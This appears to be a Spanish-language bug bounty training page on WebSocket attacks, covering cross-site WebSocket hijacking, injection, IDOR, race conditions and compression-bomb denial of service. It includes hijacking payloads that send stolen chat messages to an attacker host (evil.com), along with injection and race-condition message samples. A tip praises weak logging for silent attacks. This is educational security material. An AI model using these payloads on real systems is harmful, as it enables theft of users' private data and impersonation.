WebSockets

Ataques en comunicaciones bidireccionales en tiempo real

Respuesta rápida

¿Qué es WebSockets?

Los WebSockets permiten comunicación bidireccional entre cliente y servidor. A menudo tienen menos protecciones que las APIs REST: sin CORS, sin rate limiting, sin logging adecuado.

Severidad

Alto

Frecuencia

Menos común

Payloads

6

Pasos

5

Severidad

Alto

Frecuencia

Menos común

Payloads

6

Los WebSockets no están sujetos a la Same-Origin Policy. Si el servidor no valida el header Origin, cualquier sitio web puede establecer una conexión WebSocket autenticada usando las cookies del usuario. Los mensajes también pueden ser vulnerables a inyecciones.

Cross-Site WebSocket Hijacking (CSWSH)Inyección SQL/XSS en mensajesIDOR vía WebSocketRace conditions (full-duplex)DoS vía compression bombs

Dónde buscar

Chat en tiempo real

Mensajería, soporte, comentarios live. Los mensajes del usuario se procesan server-side.

Notificaciones push

Dashboards con datos en tiempo real. La conexión WS puede filtrar datos.

Collaborative editing

Editores colaborativos tipo Google Docs. Cambios sincronizados vía WS.

Trading/subastas

Plataformas financieras con precios en tiempo real. Race conditions en órdenes.

Metodología

1

Interceptar WebSocket

Burp → WebSockets history. Analiza los mensajes enviados y recibidos.

2

Verificar validación de Origin

¿El servidor acepta conexiones desde cualquier origen? Si sí → CSWSH.

3

Probar inyecciones en mensajes

SQLi, XSS, command injection en los campos JSON de los mensajes WS.

4

Probar IDOR

Cambiar userId o roomId en los mensajes para acceder a datos de otros.

5

Race conditions

WebSockets son full-duplex — enviar múltiples mensajes antes de que el servidor procese el primero.

Caso real

Cross-Site WebSocket Hijacking → exfiltración de chat privado

$1,500
1

Detectar falta de validación de Origin

El servidor WS no valida el header Origin — acepta conexiones desde cualquier dominio.

2

Crear página maliciosa

Página en evil.com que establece conexión WebSocket a wss://target.com/ws usando las cookies del usuario.

3

Interceptar mensajes

La página recibe todos los mensajes del chat privado del usuario y los envía al servidor del atacante.

4

Enviar comandos

Además de leer, el atacante puede enviar mensajes como la víctima.

Lección: Los WebSockets ignoran CORS por diseño. Sin validación de Origin, cualquier sitio puede hijackear la conexión WS del usuario autenticado.

Payloads

CSWSH básico

var ws = new WebSocket("wss://target.com/ws");
ws.onmessage = function(e) { fetch("https://evil.com/log?d="+e.data) }

SQLi en mensaje WS

{"query": "' OR 1=1--"}

IDOR en WS

{"action": "getProfile", "userId": "victim-id-123"}

Payloads avanzados(requiere cuenta)

CSWSH completo con exfil

<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function(){ws.send(JSON.stringify({action:"getChats"}))};
ws.onmessage = function(e){fetch("https://evil.com/steal?d="+btoa(e.data))};
</script>

DoS compression bomb

Enviar mensaje con permessage-deflate: datos altamente comprimibles (1MB → 1GB decompressed)

Race condition WS

10x simultáneo: {"action":"transfer","amount":100,"to":"attacker"}

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

Burp Suite WS

Intercepta y modifica mensajes WebSocket en tiempo real.

Proxy → WebSockets history → Interceptar mensajes

wscat

Cliente WebSocket CLI para testing manual de conexiones.

wscat -c wss://target.com/ws -H 'Cookie: session=xxx'

Tips

Sin Origin validation = CSWSH

Si el servidor no valida el header Origin, cualquier sitio web puede conectarse al WS del usuario.

Los WS ignoran CORS

Los WebSockets no están sujetos a Same-Origin Policy. Es una superficie de ataque diferente a REST.

Menos logging = menos detección

Los mensajes WS a menudo no se loggean como los requests HTTP. Ideal para ataques silenciosos.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica WebSockets con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.